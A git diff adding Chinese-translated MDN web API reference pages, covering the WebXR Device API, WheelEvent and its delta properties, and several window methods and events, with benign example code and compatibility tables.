使用库而不是直接使用WebGL API的一个特殊好处是,库取向于实现虚拟相机函数性的接口。OpenGL( WebGL 的扩展)不直接提供照相机视图,使用库模拟一个的话可以使您的工作变得非常非常容易,特别是在构建允许在虚拟世界中自由移动的代码时。

+ +

重要的健康和安全提示

+ +

因为本质上来说,创建虚拟3D世界的整个过程是一个技巧,它利用了我们对眼睛如何收集光以及大脑如何解释所收集的数据的理解,因此务必要牢记,软件设计师开发人员有责任比平时更加​​小心,以确保结果正确。

+ +

缺陷,未对准或变形会混淆眼睛和大脑,导致眼睛疼痛或头痛乃至眩晕,头晕或潜在的严重恶心。考虑到 VR 护目镜的全部特性,需要特别注意,开发者对可能引起癫痫发作的任何事物都要保持警惕;如果它引起困扰,则用户可能无法快速将视线从您呈现的图像上移开。

+ +

如果您有任何可能对任何用户构成风险的内容,则应提供警告消息。有备无患

+ +

WebXR 设备API 的概念和用法

+ +

WebXR: AR and VR

+ +
+
举例 WebXR 硬件装备
+Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labeled "Position sensor"
+ +

较早的 WebVR API 仅设计为支持虚拟现实(VR),而WebXR在Web上同时支持VR和增强现实(AR)。WebXR增强现实模块增加了对AR功能的支持。

+ +


+ 典型的XR设备可以具有3或6个自由度,并且有没有外部位置传感器都可以。

+ +

该设备还可以包括加速度计,气压计或其他传感器,用于感测用户何时在空间中移动,旋转其头部等。

+ +

WebXR 应用程序生命周期

+ +

使用WebXR的大多数应用程序将遵循类似的总体设计模式:

+ +
    +
  1. 检查用户的设备和浏览器是否都能够呈现您想要提供的XR体验。 +
      +
    1. 确保 WebXR API 可用;如果 {{domxref("navigator.xr")}}  未定义,则可以判断用户的浏览器和/或设备不支持 WebXR。如果不支持,请禁用用于激活 XR 功能的任何用户界面,并中止任何进入 XR 模式的尝试。
    2. +
    3. 调用 {{DOMxRef("XR.isSessionSupported","navigator.xr.isSessionSupported()")}}, 指定要提供的 WebXR 体验模式: inlineimmersive-vr, 或 immersive-ar, 以确定您希望提供的会话类型是否可用。
    4. +
    5. 如果要使用的会话类型可用,请向用户提供适当的界面以允许他们激活它。
    6. +
    +
  2. +
  3. 当用户通过上述的界面开启了 WebXR 功能后,通过调用 {{DOMxRef("XR.requestSession","navigator.xr.requestSession()")}},也是指定使用的模式为以下三种之一: inlineimmersive-vr, 或 immersive-ar后,可以将一个 {{DOMxRef("XRSession")}} 设定在期望的模式下。 
  4. +
  5. 当 requestSession() 返回的 promise 被 resolve 后,使用新的 {{domxref("XRSession")}} 在整个 WebXR 体验期间运行帧循环。 +
      +
    1. 调用 {{domxref("XRSession")}} 的 {{DOMxRef("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} 方法,以调度 XR 设备的首帧渲染。
    2. +
    3. 每一个 requestAnimationFrame() 的回调都需要使用 WebGL 渲染已提供信息的 3D 世界中的物体。
    4. +
    5. 持续在回调中调用 {{DOMxRef("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} 保证每一帧都成功地按顺序渲染。
    6. +
    +
  6. +
  7. 当需要结束 XR 会话的时候;或者用户主动退出 XR 模式。 +
      +
    1. 通过调用 {{DOMxRef("XRSession.end", "XRSession.end()")}} 可手动结束 XR 会话。
    2. +
    3. 无论通过何种方式(开发者、用户或者浏览器)终止会话,{{domxref("XRSession")}} 的 {{domxref("XRSession.end_event", "end")}} 事件都会接收到通知。
    4. +
    +
  8. +
+ +

获取许可与安全性

+ +

WebXR Device API 受到一系列许可与安全性的控制。这些控制不涉及法律责任,但也需要引起重视。其控制场景主要在于身临其境的 immersive-vr 会话模式和 AR 会话下。

+ +

VR 的沉浸式(immersive)

+ +

首先,如果域名不支持请求有权限打开沉浸模式,那么  immersive-vr 模式就会被拒绝。这个权限管理来自xr-spatial-tracking 特征策略

+ +

一旦有权限了,申请开启 immersive-vr 模式的请求还需要再检查以下三点,全部满足才能开启:

+ + + +

如果上述三点均满足, requestSession() 返回的 Promise 将被 resolve,新的 {{domxref("XRSession")}} 对象被传入完成时的处理函数中。如果有不满足的情况,将会根据具体场景抛出异常,比如当没有权限进入沉浸式模式情况下, SecurityError 将被抛出。

+ +

内联(inline)

+ +

当你在 inline 模式下发出 {{domxref("XRSession")}} 请求想要请求其他的特性时,浏览器仅允许那些明显由用户意图发起才会执行的代码所调用到的 {{domxref("XR.requestSession", "requestSession()")}}。

+ +

特别注意:

+ + + +
+

注意:当调用 requestSession() 时,根据选择对象需要指定的特性不同,将会执行额外的请求。

+
+ +

用户意图

+ +

用户意图指的是用户自身是否想执行某个动作的时候可以通过代码控制实际的执行情况。有两种用户意图类型:显性隐性

+ +

直接询问用户是否同意执行某个操作,即显性的用户意图 (用户显示的同意操作) 。

+ +

当以下情况发生时,我们可以认为出现了隐性的用户意图 (用户暗示同意):

+ + + +

WebXR 的可用性

+ +

As a new and still in development API, WebXR support is limited to specific devices and browsers; and even on those, it may not be enabled by default. There may be options available to allow you to experiment with WebXR even if you don't have a compatible system, however.

+ +

WebXR polyfill

+ +

The team designing the WebXR specification has published a WebXR polyfill which you can use to simulate WebXR on browsers which don't have support for the WebXR APIs. If the browser supports the older WebVR API, that is used. Otherwise, the polyfill falls back to an implementation which uses Google's Cardboard VR API.

+ +

The polyfill is maintained alongside the specification, and is kept up to date with the specification. Additionally, it is updated to maintain compatiblity with browsers as their support for WebXR and other technologies related to it and to the implementation of the polyfill change over time.

+ +

Be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with newer JavaScript features your target browsers include.

+ +

WebXR API Emulator extension

+ +

The Mozilla WebXR team has created a WebXR API Emulator browser extension, compatible with both Firefox and Chrome, which emulates the WebXR API, simulating a variety of compatible devices such as the HTC Vive, the Oculus Go and Oculus Quest, Samsung Gear, and Google Cardboard. With the extension in place, you can open up a developer tools panel that lets you control the position and orientation of the headset and any hand controllers, as well as button presses on the controllers.

+ +

While somewhat awkward compared to using an actual headset, this makes it possible to experiment with and developer WebXR code on a desktop computer, where WebXR isn't normally available. It also lets you perform some basic testing before taking your code to a real device. Be aware, however, that the emulator does not yet completely emulate all of the WebXR API, so you may run into problems you're not expecting. Again, carefully read the readme file and make sure you're aware of the limitations before you begin.

+ +
+

Important: You should always test your code on actual AR and/or VR hardware before releasing or shipping a product! Emulated, simulated, or polyfilled environments are not an adequate substitute for actual testing on physical devices.

+
+ +

Download the WebXR API Emulator for your supported browser below:

+ + + +

The source code for the extension is also available on GitHub.

+ +

调用 WebXR API

+ +

To gain access to the WebXR API within the context of a given window, use the {{domxref("navigator.xr")}} property.

+ +
+
{{domxref("navigator.xr")}} {{ReadOnlyInline}}
+
This property, added to the {{domxref("Navigator")}} interface, returns the {{domxref("XR")}} object through which the WebXR API is exposed. If this property is missing or null, WebXR is not available.
+
+ +

WebXR 接口

+ +
+
{{DOMxRef("XR")}}
+
The {{domxref("Navigator.xr", "navigator.xr")}} property returns the window's instance of {{domxref("XR")}}, which is the mechanism by which your code accesses the WebXR API. Using the XR interface, you can create {{domxref("XRSession")}}s to represent actual AR and/or VR sessions.
+
{{DOMxRef("XRFrame")}}
+
While presenting an XR session, the state of all tracked objects which make up the session are represented by an XRFrame. To get an XRFrame, call the session's {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} method, providing a callback which will be called with the XRFrame once available. Events which communicate tracking states will also use XRFrame to contain that information.
+
{{DOMxRef("XRRenderState")}}
+
Provides a set of configurable properties which change how the imagery output by an XRSession is composited. These properties include the range of distances from the viewer within which content should be rendered, the vertical field of view (for inline presentations), and a reference to the {{domxref("XRWebGLLayer")}} being used as the target for rendering the scene prior to it being presented on the XR device's display or displays.
+
{{DOMxRef("XRSession")}}
+
Provides the interface for interacting with XR hardware. Once an XRSession is obtained from {{domxref("XR.requestSession()")}}, the session can be used to check the position and orientation of the viewer, query the device for environment information, and present the virtual or augmented world to the user.
+
{{DOMxRef("XRSpace")}}
+
XRSpace is an opaque base class on which all virtual coordinate system interfaces are based. Positions in WebXR are always expressed in relation to a particular XRSpace at the time at which a particular {{domxref("XFrame")}} takes place. The space's coordinate system has its origin at the a given physical position.
+
{{DOMxRef("XRReferenceSpace")}}
+
A subclass of {{domxref("XRSpace")}} which is used to identify a spatial relationship in relation to the user's physical emvironment. The XRReferenceSpace coordinate system is expected to remain unchanged through the lifespan of the {{domxref("XRSession")}}.The world has no boundaries and extends infinitely in every direction.
+
{{DOMxRef("XRBoundedReferenceSpace")}}
+
XRBoundedReferenceSpace extends the {{domxref("XRReferenceSpace")}} coordinate system to further include support for a finite world with set boundaries. Unlike XRReferenceSpace, the origin must be located on the floor (that is, y = 0 at the floor). The x and z components of the origin are typically presumed to be located at or near the center of the room or surface.
+
{{DOMxRef("XRView")}}
+
Represents a single view into the XR scene for a particular frame. Each XRView corresponds to the video display surface used to present the scene to the user. For example, a given XR device might have two views: one for the left eye and one for the right. Each view has an offset used to shift the position of the view relative to the camera, in order to allow for creating stereographic effects.
+
{{DOMxRef("XRViewport")}}
+
Describes a viewport. A viewport is a rectangular portion of a graphic surface.
+
{{DOMxRef("XRRigidTransform")}}
+
A transform defined using a position and orientation in the virtual space's coordinate system as described by the {{domxref("XRSpace")}}.
+
{{DOMxRef("XRPose")}}
+
Describes a position and orientation in space relative to an {{domxref("XRSpace")}}.
+
{{DOMxRef("XRViewerPose")}}
+
Based on {{domxref("XRPose")}}, XRViewerPose specifies the state of a viewer of the WebXR scene as indicated by the XR device. Included is an array of {{domxref("XRView")}} objects, each representing one perspective on the scene. For example, it takes two views to create the stereoscopic view as perceived by human vision—one for the left eye and a second for the right eye. One view is offset to the left slightly from the viewer's position, and the other view is offset to the right by the same distance. The view list can also be used to represent the perspectives of each of the spectators of a scene, in a multi-user environment.
+
{{DOMxRef("XRInputSource")}}
+
Represents any input device the user can use to perform targeted actions within the same virtual space as the viewer. Input sources may include devices such as hand controllers, optical tracking systems, and other devices which are explicitly associated with the XR device. Other input devices such as keyboards, mice, and gamepads are not presented as XRInputSource instances.
+
{{DOMxRef("XRWebGLLayer")}}
+
A layer which serves as a WebGL frame buffer into which a scene's view is rendered. Using WebGL to render the scene gains substantial performance benefits due to graphics acceleration.
+
+ +

事件接口

+ +

The following interfaces are used to represent the events used by the WebXR API.

+ +
+
{{domxref("XRInputSourceEvent")}}
+
Sent when the state of an {{domxref("XRInputSource")}} changes. This can happen, for example, when the position and/or orientation of the device changes, or when buttons are pressed or released.
+
{{domxref("XRInputSourcesChangeEvent")}}
+
Sent to indicate that the set of available input sources has changed for the {{domxref("XRSession")}}.
+
{{domxref("XRReferenceSpaceEvent")}}
+
Sent when the state of an {{domxref("XRReferenceSpace")}} changes.
+
{{domxref("XRSessionEvent")}}
+
Sent to indicate that the state of an {{domxref("XRSession")}} has changed. For example, if the position and/or orient
+
+ +

WebGL API 的扩展

+ +

The WebGL API is extended by the WebXR specification to augment the WebGL context to allow it to be used to render views for display by a WebXR device.

+ +
+
{{domxref("WebGLRenderingContextBase.makeXRCompatibile()")}}
+
Configures the WebGL context to be compatible with WebXR. If the context was not initially created with the {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} property set to true, you must call makeXRCompatible() prior to attempting to use the WebGL context for WebXR rendering. Returns a {{jsxref("promise")}} which resolves once the context has been prepared, or is rejected if the context cannot be configured for use by WebXR.
+
+ +

指南与教程

+ +

The following guides and tutorials are a great resource to learn how to comprehend WebXR and the underlying 3D and VR/AR graphics concepts.

+ +
+
Fundamentals of WebXR
+
Before diving into the details of how to create content using WebXR, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.
+
Matrix math for the web
+
A guide covering how matrices can be used on the web, including both for CSS transforms and for WebGL purposes, as well as to handle the positioning and orientation of objects in WebXR contexts.
+
Geometry and reference spaces in WebXR
+
In this guide, the required concepts of 3D geometry are briefly reviewed, and the fundamentals of how that geometry is represented in WebXR are detailed. Learn how reference spaces are used to position objects—and the viewer—and the differences among the available types of reference space, as well as their use cases.
+
Spatial tracking in WebXR
+
This guide describes how objects—including the user's body and its parts—are located in space, and how their movement and orientation relative to one another is monitored and managed over time. This article explains the relationship between spaces, poses, views (and viewers), and poses.
+
Rendering and the WebXR frame loop
+
Starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the WebGL buffer used for each of the two eyes' views of the scene.
+
Movement, orientation, and motion: A WebXR example
+
In this example and tutorial, we use information learned throughout the WebXR documentation to create a scene containing a rotating cube which the user can move around using both VR headset and keyboard and mouse.
+
Inputs and input sources
+
A guide to input sources and how to efficiently manage the input devices being used to control the WebXR session, and how to receive and process user inputs from those devices.
+
Supporting gamepads in WebXR applications
+
WebXR implements the Gamepad API to allow gamepads connected to the XR device to be used as input controls. This guide describes how this works.
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebXR")}}{{Spec2("WebXR")}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Navigator.xr")}}

+ +

亦可查看

+ + diff --git a/files/zh-cn/web/api/wheelevent/deltamode/index.html b/files/zh-cn/web/api/wheelevent/deltamode/index.html new file mode 100644 index 0000000000..7db3c83a71 --- /dev/null +++ b/files/zh-cn/web/api/wheelevent/deltamode/index.html @@ -0,0 +1,122 @@ +--- +title: WheelEvent.deltaMode +slug: Web/API/WheelEvent/deltaMode +translation_of: Web/API/WheelEvent/deltaMode +--- +

{{APIRef("DOM Events")}}

+ +

WheelEvent.deltaMode 只读属性返回一个 unsigned long 类型的值, 声明 delta 的滚动值的单位. 可能的值为:

+ + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
DOM_DELTA_PIXEL0x00delta 的值为 像素 级别.
DOM_DELTA_LINE0x01delta 的值为 行 级别.
DOM_DELTA_PAGE0x02delta 的值为 页 级别.
+ +

语法

+ +
var unit = event.deltaMode;
+ +

例子

+ +
var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaX": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaMode);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-WheelEvent-deltaMode','WheelEvent.deltaMode')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support31{{ CompatVersionUnknown }}{{ CompatGeckoDesktop("17.0") }}{{ CompatIE("9.0") }}187.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("17.0") }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/wheelevent/deltax/index.html b/files/zh-cn/web/api/wheelevent/deltax/index.html new file mode 100644 index 0000000000..ed30709da2 --- /dev/null +++ b/files/zh-cn/web/api/wheelevent/deltax/index.html @@ -0,0 +1,99 @@ +--- +title: WheelEvent.deltaX +slug: Web/API/WheelEvent/deltaX +translation_of: Web/API/WheelEvent/deltaX +--- +

{{APIRef("DOM Events")}}

+ +

WheelEvent.deltaX 只读属性是一个 double 类型值, 声明水平滚动量以{{domxref("WheelEvent.deltaMode")}} 为单位.

+ +

语法

+ +
var dX = event.deltaX;
+ +

例子

+ +
var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaX": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaX);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-WheelEvent-deltaX','WheelEvent.deltaX')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support31{{CompatVersionUnknown}}{{ CompatGeckoDesktop("17.0") }}{{ CompatIE("9.0") }} [1]18{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("17.0") }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
+
+ +

[1] IE9 支持一个规范的一个旧版本的草稿, 这里的值的类型是 long 而不是一个 double 类型的值.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/wheelevent/deltay/index.html b/files/zh-cn/web/api/wheelevent/deltay/index.html new file mode 100644 index 0000000000..1f223c3b37 --- /dev/null +++ b/files/zh-cn/web/api/wheelevent/deltay/index.html @@ -0,0 +1,101 @@ +--- +title: WheelEvent.deltaY +slug: Web/API/WheelEvent/deltaY +translation_of: Web/API/WheelEvent/deltaY +--- +

{{APIRef("DOM Events")}}

+ +

 

+ +

WheelEvent.deltaY 只读属性是一个 double 类型值, 声明垂直滚动量以WheelEvent.deltaMode 为单位.

+ +

语法

+ +
var dY = event.deltaY;
+ +

例子

+ +
var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaY": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaY);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-WheelEvent-deltaY','WheelEvent.deltaY')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support31{{CompatVersionUnknown}}{{ CompatGeckoDesktop("17.0") }}{{ CompatIE("9.0") }} [1]189.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("17.0") }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
+
+ +

[1] IE9 支持一个规范的一个旧版本的草稿, 这里的值的类型是 long 而不是一个 double 类型的值.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/wheelevent/deltaz/index.html b/files/zh-cn/web/api/wheelevent/deltaz/index.html new file mode 100644 index 0000000000..d80bf95202 --- /dev/null +++ b/files/zh-cn/web/api/wheelevent/deltaz/index.html @@ -0,0 +1,103 @@ +--- +title: WheelEvent.deltaZ +slug: Web/API/WheelEvent/deltaZ +translation_of: Web/API/WheelEvent/deltaZ +--- +

{{APIRef("DOM Events")}}

+ +

 

+ +

WheelEvent.deltaZ 只读属性是一个 double 类型值, 声明 Z 轴滚动量以WheelEvent.deltaMode 为单位.

+ +

 

+ +

语法

+ +
var dZ = event.deltaZ;
+ +

例子

+ +
var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaZ": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaZ);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-WheelEvent-deltaZ','WheelEvent.deltaZ')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support31{{CompatVersionUnknown}}{{ CompatGeckoDesktop("17.0") }}{{ CompatIE("9.0") }} [1]18{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("17.0") }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
+
+ +

[1] IE9 支持一个规范的一个旧版本的草稿, 这里的值的类型是 long 而不是一个 double 类型的值.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/wheelevent/index.html b/files/zh-cn/web/api/wheelevent/index.html new file mode 100644 index 0000000000..6cd9881b2e --- /dev/null +++ b/files/zh-cn/web/api/wheelevent/index.html @@ -0,0 +1,109 @@ +--- +title: WheelEvent +slug: Web/API/WheelEvent +tags: + - API + - DOM + - Reference + - WheelEvent + - 接口 +translation_of: Web/API/WheelEvent +--- +

{{APIRef("DOM Events")}}

+ +

WheelEvent 接口表示用户滚动鼠标滚轮或类似输入设备时触发的事件。

+ +
重要:该事件为标准规定的滚轮事件接口。早期的浏览器实现过{{ domxref("MouseWheelEvent") }}和{{domxref("MouseScrollEvent")}}两种滚轮事件接口,但这两种接口皆非标准,加之各浏览器间对其兼容性极差。因而开发者应使用该标准事件接口取代这两个非标准接口。
+ +
不要混淆 wheel 事件和 {{event("scroll")}} 事件:{{event("wheel")}} 事件的默认动作取决于浏览器实现。因此 wheel 事件不一定会触发 {{event("scroll")}} 事件。即便滚轮事件引发了文档内容的滚动行为,也不表示 wheel 事件中的 delta* 值恰好反映文档内容的滚动方向。因此,不要依赖 delta* 属性获知文档内容的滚动方向。可在文档内容滚动事件({{event("scroll")}})中监视target的{{domxref("Element.scrollLeft", "scrollLeft")}}和{{domxref("Element.scrollTop", "scrollTop")}}的变化以推断滚动方向。
+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("WheelEvent.WheelEvent", "WheelEvent()")}}
+
创建一个WheelEvent对象。
+
+ +

属性

+ +

该接口继承了父接口{{domxref("MouseEvent")}}、{{domxref("UIEvent")}}、{{domxref("Event")}}的属性。

+ +
+
{{domxref("WheelEvent.deltaX")}} {{readonlyinline}}
+
返回double值,该值表示滚轮的横向滚动量。
+
{{domxref("WheelEvent.deltaY")}} {{readonlyinline}}
+
返回double值,该值表示滚轮的纵向滚动量。
+
{{domxref("WheelEvent.deltaZ")}} {{readonlyinline}}
+
返回double值,该值表示滚轮的z轴方向上的滚动量。
+
{{domxref("WheelEvent.deltaMode")}} {{readonlyinline}}
+
返回unsigned long值,该值表示上述各delta*的值的单位。该值及所表示的单位如下: + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
DOM_DELTA_PIXEL0x00滚动量单位为像素。
DOM_DELTA_LINE0x01滚动量单位为行。
DOM_DELTA_PAGE0x02滚动量单位为页。
+
+
+ +

方法

+ +

该接口本身未定义方法,但继承了父接口{{domxref("MouseEvent")}}、{{domxref("UIEvent")}}、{{domxref("Event")}}的方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("UI Events", "#interface-wheelevent", "The WheelEvent interface")}}{{Spec2("UI Events")}}
{{SpecName('DOM3 Events','#interface-wheelevent','WheelEvent')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.WheelEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/alert/index.html b/files/zh-cn/web/api/window/alert/index.html new file mode 100644 index 0000000000..6295c8e7cd --- /dev/null +++ b/files/zh-cn/web/api/window/alert/index.html @@ -0,0 +1,61 @@ +--- +title: window.alert +slug: Web/API/Window/alert +tags: + - alert + - 'alert(`uid = ${uid}`);// alert(`desc ${key}`) !== console.log(`desc `' + - console.log + - key); +translation_of: Web/API/Window/alert +--- +

{{ ApiRef() }}

+ +

概述

+ +

显示一个警告对话框,上面显示有指定的文本内容以及一个"确定"按钮。

+ +

语法

+ +
window.alert(message);
+
+ +
+

 

+ +

alert(`uid = ${uid}`);

+ +

// alert(`desc ${key}`) !== console.log(`desc `, key);

+
+ + + +

示例

+ +
window.alert("Hello world!");
+
+ +

显示如下(不同的浏览器下显示不同):

+ +

Image:AlertHelloWorld.png

+ +

附注

+ +

警告对话框使用在无需用户确认的情况下,否则应该使用其他类型的对话框,比如confirm, prompt.

+ +

The following text is shared between this article, DOM:window.prompt and DOM:window.confirm 这里显示的对话框是一个模态窗口,它能阻止用户对浏览器窗口界面的其他部位进行操作,你不应该过多的使用这种模态窗口.

+ +

扩展开发者有时候需要使用nsIPromptService接口来代替该alert方法.

+ +

从Firefox 4开始,在网页中弹出的对话框都换成了标签页范围内的模态窗口,即不会影响其他的标签页,同时还能阻止过多次数的弹窗.

+ +

规范

+ +

{{ DOM0() }}

+ +

相关链接

+ +

confirm, prompt

+ +

扩展开发者应该查看alert()alertCheck()

diff --git a/files/zh-cn/web/api/window/applicationcache/index.html b/files/zh-cn/web/api/window/applicationcache/index.html new file mode 100644 index 0000000000..945ab7bd12 --- /dev/null +++ b/files/zh-cn/web/api/window/applicationcache/index.html @@ -0,0 +1,38 @@ +--- +title: window.applicationCache +slug: Web/API/Window/applicationCache +tags: + - HTML5 + - HTML5.1 + - HTML5.2 + - REC +translation_of: Web/API/Window/applicationCache +--- +

{{APIRef}}

+ +

概要

+ +

返回该window 中的应用缓存对象的一个引用。

+ +

语法

+ +
cache = window.applicationCache
+
+ +

参数

+ + + +

规范

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/window/back/index.html b/files/zh-cn/web/api/window/back/index.html new file mode 100644 index 0000000000..ead8d52bb6 --- /dev/null +++ b/files/zh-cn/web/api/window/back/index.html @@ -0,0 +1,26 @@ +--- +title: Window.back() +slug: Web/API/Window/back +translation_of: Web/API/Window/back +--- +
{{APIRef}}
+ +
{{ Non-standard_header() }}
+ +
{{ obsolete_header(31) }}
+ +

总结

+ +

跳转窗口到history中的前一个地址, 这曾是 Gecko 的方法。请使用标准的history.back 替代它。

+ +

Syntax

+ +
window.back()
+ +

Example

+ +
function goBack() {
+   if ( canGoBack ) window.back();
+}
+ +

 

diff --git a/files/zh-cn/web/api/window/blur_event/index.html b/files/zh-cn/web/api/window/blur_event/index.html new file mode 100644 index 0000000000..44cc5ffd7f --- /dev/null +++ b/files/zh-cn/web/api/window/blur_event/index.html @@ -0,0 +1,116 @@ +--- +title: 'Window: blur event' +slug: Web/API/Window/blur_event +translation_of: Web/API/Window/blur_event +--- +
{{APIRef}}
+ +

当元素失去焦点时,blur事件将触发。

+ +

与 blur 相反的是{{domxref("Window/focus_event", "focus")}}。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Bubbles(是否支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{DOMxRef("FocusEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onblur", "onblur")}}
Sync / Async(同步/异步)Sync
ComposedYes
+ +

示例

+ +

在线示例

+ +

此示例当文档失去焦点时,更改其外观。它使用{{domxref("EventTarget.addEventListener()","addEventListener()")}} 去监听{{domxref("Window/focus_event", "focus")}}和 blur 事件。

+ +

HTML

+ +
<p id="log">Click on this document to give it focus.</p>
+ +

CSS

+ +
.paused {
+  background: #ddd;
+  color: #555;
+}
+ +

JavaScript

+ +
function pause() {
+  document.body.classList.add('paused');
+  log.textContent = 'FOCUS LOST!';
+}
+
+function play() {
+  document.body.classList.remove('paused');
+  log.textContent = 'This document has focus. Click outside the document to lose focus.';
+}
+
+const log = document.getElementById('log');
+
+window.addEventListener('blur', pause);
+window.addEventListener('focus', play);
+ +

结果

+ +

{{EmbedLiveSample("在线示例")}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("UI Events", "#event-type-blur")}}{{Spec2("UI Events")}}Added info that this event is composed.
{{SpecName("DOM3 Events", "#event-type-blur")}}{{Spec2("DOM3 Events")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.blur_event")}}

+ +

{{DOMxRef(" document. activeelement ")}}的值在处理({{bug(452307)}})时因浏览器而异 ;({{bug(452307)}}):IE10将其设置为焦点将移动到的元素,而Firefox和Chrome通常将其设置为文档的 body。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/cancelanimationframe/index.html b/files/zh-cn/web/api/window/cancelanimationframe/index.html new file mode 100644 index 0000000000..0d98e5db24 --- /dev/null +++ b/files/zh-cn/web/api/window/cancelanimationframe/index.html @@ -0,0 +1,117 @@ +--- +title: window.cancelAnimationFrame +slug: Web/API/Window/cancelAnimationFrame +translation_of: Web/API/Window/cancelAnimationFrame +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

概述

+ +

取消一个先前通过调用{{ domxref("window.requestAnimationFrame()") }}方法添加到计划中的动画帧请求.

+ +

语法

+ +
window.mozCancelAnimationFrame(requestID);               // Firefox
+
+ +

参数

+ +
+
requestID
+
先前调用{{ domxref("window.requestAnimationFrame()") }}方法时返回的ID.
+
+ +

示例

+ +
var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // 只有Firefox支持mozAnimationStartTime属性,其他浏览器可以使用Date.now()来替代.
+
+var myReq;
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress/10, 200) + "px";
+  if (progress < 2000) {
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+
+window.cancelAnimationFrame(myReq);
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

21.0 {{ property_prefix("webkit") }}

+ +

24.0 脱前缀

+
+

